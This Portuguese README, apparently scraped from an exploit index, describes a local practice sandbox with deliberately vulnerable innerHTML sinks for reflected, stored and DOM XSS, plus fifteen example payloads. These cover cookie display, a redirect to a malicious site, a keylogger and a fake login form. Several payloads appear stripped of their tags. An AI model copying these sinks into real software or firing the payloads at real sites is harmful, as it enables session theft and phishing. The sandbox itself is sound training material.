Share
## https://sploitus.com/exploit?id=82D65016-6108-5C85-AEEF-52322192F768
# XSS Sandbox

Um ambiente educacional seguro para praticar e estudar vulnerabilidades de Cross-Site Scripting (XSS). Este projeto demonstra três tipos principais de XSS.
## Cenários Implementados

### 1. XSS Refletido (Reflected XSS)

**Como funciona**: O valor digitado no campo de busca é refletido diretamente na página sem sanitização adequada. A entrada do usuário é inserida no HTML através de `innerHTML`, permitindo execução de código JavaScript.

**Vulnerabilidade no código**:
```javascript
searchResult.innerHTML = `Exibindo resultados para: ${query}`;
```

**5 Exemplos de Payloads**:

1. **Alert Básico**:
   ```html
   alert('XSS Refletido funcionou!')
   ```
   Exibe um alerta simples para confirmar a vulnerabilidade.

2. **Roubo de Cookie**:
   ```html
   alert('Cookie: ' + document.cookie)
   ```
   Mostra os cookies da sessão atual em um alerta.

3. **Redirecionamento Malicioso**:
   ```html
   window.location.href='https://malicious-site.com'
   ```
   Redireciona o usuário para um site malicioso.

4. **Keylogger Simples**:
   ```html
   document.addEventListener('keypress', function(e) { console.log('Tecla pressionada: ' + e.key); })
   ```
   Registra todas as teclas pressionadas no console do navegador.

5. **Modificação de Conteúdo**:
   ```html
   document.body.innerHTML = 'Site Comprometido!'
   ```
   Substitui todo o conteúdo da página por uma mensagem de comprometimento.

### 2. XSS Armazenado (Stored XSS)

**Como funciona**: Os comentários são "armazenados" localmente no DOM e exibidos para todos os usuários. O nome do usuário e o texto do comentário são inseridos diretamente no HTML sem validação.

**Vulnerabilidade no código**:
```javascript
newComment.innerHTML = `${username}: ${commentText}`;
```

**5 Exemplos de Payloads**:

1. **Alert no Nome de Usuário**:
   ```html
   Nome: alert('XSS no nome!')
   Comentário: Teste normal
   ```
   Executa JavaScript através do campo de nome.

2. **Imagem Quebrada com Onerror**:
   ```html
   Nome: Usuário
   Comentário: 
   ```
   Usa o evento onerror de uma imagem inexistente para executar código.

3. **Iframe Malicioso**:
   ```html
   Nome: Atacante
   Comentário: 
   ```
   Cria um iframe invisível que executa JavaScript.

4. **Event Handler em Link**:
   ```html
   Nome: User
   Comentário: Clique aqui para mais info
   ```
   Adiciona um manipulador de evento onclick em um link.

5. **SVG com JavaScript**:
   ```html
   Nome: SVGUser
   Comentário: 
   ```
   Usa SVG com evento onload para executar código.

### 3. XSS Baseado em DOM (DOM XSS)

**Como funciona**: A entrada do usuário é processada inteiramente pelo JavaScript do lado cliente e inserida no DOM sem passar pelo servidor. O valor é lido do input e escrito diretamente no elemento de resultado.

**Vulnerabilidade no código**:
```javascript
const output = `Iniciando ping simulado para ${target}...`;
networkResult.innerHTML = output;
```

**5 Exemplos de Payloads**:

1. **Script Tag Fechada**:
   ```html
   127.0.0.1alert('DOM XSS!')
   ```
   Fecha a tag pre existente e insere um script.

2. **Manipulação de Estilo**:
   ```html
   localhostbody{background: red !important;}
   ```
   Injeta CSS para alterar completamente a aparência da página.

3. **Form Injection**:
   ```html
   8.8.8.8Login
   ```
   Injeta um formulário falso para capturar credenciais.

4. **JavaScript Inline**:
   ```html
   google.com" onmouseover="alert('Mouse sobre o texto!')
   ```
   Adiciona um evento que executa quando o mouse passa sobre o texto.

5. **Payload com Múltiplas Tags**:
   ```html
   site.comClique aquiconsole.log('Console comprometido')
   ```
   Combina múltiplas técnicas em um único payload.

### Execução

1. **Clone ou baixe o projeto**:
   ```bash
   git clone https://github.com/VertigoFromOuterSpace/SiteXSS.git
   cd SiteXSS
   ```

2. **Abra o arquivo HTML**:
   - Duplo clique em `index.html`, ou
   - Abra através do navegador: `file://caminho/para/index.html`

3. **Teste os cenários**:
   - Use os payloads de exemplo fornecidos
   - Experimente criar seus próprios payloads
   - Observe como cada tipo de XSS se comporta

### Dicas para Prática

1. **Comece com exemplos simples**: Use `alert('teste')` para confirmar a vulnerabilidade.

2. **Analise o código fonte**: Examine como cada payload é processado no JavaScript.

3. **Use Developer Tools**: Abra o console do navegador para ver erros e logs.

4. **Experimente variações**: Modifique os payloads para entender diferentes vetores.

5. **Documente descobertas**: Anote quais payloads funcionam e por quê.

## Conceitos de Segurança Demonstrados

### Tipos de XSS

1. **Reflected XSS**: Payload executado imediatamente quando refletido na página.
2. **Stored XSS**: Payload armazenado e executado quando a página é carregada.
3. **DOM XSS**: Payload executado através de manipulação do DOM pelo lado cliente.

### Vetores de Ataque

1. **Script Tags**: `código`
2. **Event Handlers**: `onload`, `onerror`, `onclick`
3. **HTML Injection**: Injeção de tags HTML arbitrárias
4. **Attribute Injection**: Manipulação de atributos de elementos existentes
5. **Protocol Handlers**: `javascript:` URLs

### Impactos Demonstrados

1. **Session Hijacking**: Roubo de cookies e tokens de sessão
2. **Phishing**: Criação de formulários falsos para captura de credenciais
3. **Defacement**: Alteração visual da página
4. **Keylogging**: Captura de teclas digitadas
5. **Redirection**: Redirecionamento para sites maliciosos


## Limitações do Ambiente

1. **Armazenamento Temporário**: Comentários são perdidos ao recarregar a página
2. **Simulação de Servidor**: Não há backend real, apenas simulação cliente-side
3. **Ambiente Local**: Algumas restrições de segurança do navegador podem aplicar
4. **Scope Limitado**: Foca apenas em XSS, não aborda outras vulnerabilidades web
5. **Sem Autenticação**: Não demonstra cenários com sessões reais de usuário

## Recursos Adicionais

### Para Estudo Complementar

1. **OWASP XSS Prevention Cheat Sheet**
2. **PortSwigger Web Security Academy**
3. **MDN Web Security Guidelines**
4. **SANS Secure Coding Practices**
5. **W3C Security Considerations**

### Ferramentas Relacionadas

1. **Burp Suite**: Para testes avançados de aplicações web
2. **OWASP ZAP**: Scanner de vulnerabilidades gratuito
3. **XSSHunter**: Plataforma para detectar XSS blind
4. **BeEF**: Framework de exploração de navegadores
5. **Browser Developer Tools**: Para análise de DOM e debugging

## Contribuição
Faça o que bem entender com esse projeto.